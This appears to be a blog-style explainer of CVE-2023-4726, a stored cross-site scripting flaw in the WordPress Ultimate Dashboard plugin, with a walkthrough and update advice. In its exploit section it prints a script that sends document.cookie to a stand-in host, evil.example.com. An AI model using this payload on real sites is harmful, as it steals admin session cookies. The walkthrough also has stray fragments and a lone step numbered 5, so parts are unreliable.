CVE-2023-4726 - Exploiting XSS in WordPress Ultimate Dashboard Plugin

If you’re running a WordPress site, plugins add amazing features to tailor your website exactly as you want. However, sometimes these plugins introduce dangerous security risks. Today, we’re diving into CVE-2023-4726, a vulnerability that affects the hugely popular "Ultimate Dashboard" plugin for WordPress.

What is CVE-2023-4726?

CVE-2023-4726 is a Stored Cross-Site Scripting (XSS) vulnerability in Ultimate Dashboard versions up to and including 3.7.7. This vulnerability happens because the plugin doesn’t properly sanitize or escape input/output in its admin settings – especially a problem for WordPress Multi-Site installations, or any instance where the unfiltered_html capability is disabled for admins.

Impacted Installs: WordPress Multi-Site or sites with unfiltered_html disabled

- What Could Happen?: When a user visits a page with the injected script, malicious JavaScript runs in their browser

Why does it matter?

You might think: this needs admin access, why is it a big deal? On multi-site installs, *super admins* can create admin users for each site, but don’t always trust them like global admins. If a user can reach this "admin but not global admin" level, they could take over the super admin session, steal cookies, or deface sites in sneaky ways.

Plus, any site that disables unfiltered_html for admins (for extra security), actually makes things *worse* if they run this vulnerable plugin!

Let’s Walk Through the Exploit

### The vulnerability is in how admin settings are saved. Inputs aren’t sanitized, and outputs are not properly escaped.

Scenario

An attacker has site administrator access on a WordPress multi-site network (but *not* full super admin). They inject a JavaScript payload in an Ultimate Dashboard admin setting.

Example XSS Payload

Suppose there’s a field in the Ultimate Dashboard settings where an administrator can set a custom footer message.

Enter this as value

<script>alert('XSS');</script>

When a super admin or another admin visits the page displaying this setting, the alert will pop up — meaning the JavaScript executed.

A more dangerous attacker might enter

<script>
    fetch('https://evil.example.com/steal?cookie='+document.cookie);
</script>

This will silently send document cookies (possibly session tokens) to the attacker’s server.

`html

Save the changes.

5. When a super admin or any other user visits a dashboard or page rendering this field, their browser executes the script.

Why Does unfiltered_html Matter?

WordPress usually allows admins to enter raw HTML. If unfiltered_html is enabled, even intended scripts are allowed, so admins can break things anyway. But on multi-site, *site admins* can be restricted — so plugins like Ultimate Dashboard become a weird weak link:

How do you stay safe?

- Update Ultimate Dashboard to the latest version (3.7.8 or higher as of official changelog).

Limit plugin install permissions to super admins.

- Consider security plugins (like Wordfence) that catch XSS exploits.

References

- Original NVD Entry – CVE-2023-4726
- Wordfence Threat Intelligence Post
- Ultimate Dashboard vulnerability listing at Patchstack
- Changelog for fix

Final Thoughts

This bug is a reminder: plugins can create surprising security holes, sometimes in ways core WordPress is designed to prevent!

If you’re running Ultimate Dashboard on a multi-site install, check your version right now and force an update. Always review the plugins you use – and how they handle HTML and JavaScript in admin customizations.

Stay safe, and keep your WordPress installs updated!

Timeline

Published on: 11/22/2023 16:15:09 UTC
Last modified on: 11/27/2023 22:09:55 UTC